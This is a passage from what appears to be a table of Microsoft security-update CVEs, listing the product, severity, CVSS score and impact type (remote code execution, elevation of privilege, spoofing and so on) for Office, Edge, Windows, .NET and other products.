Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  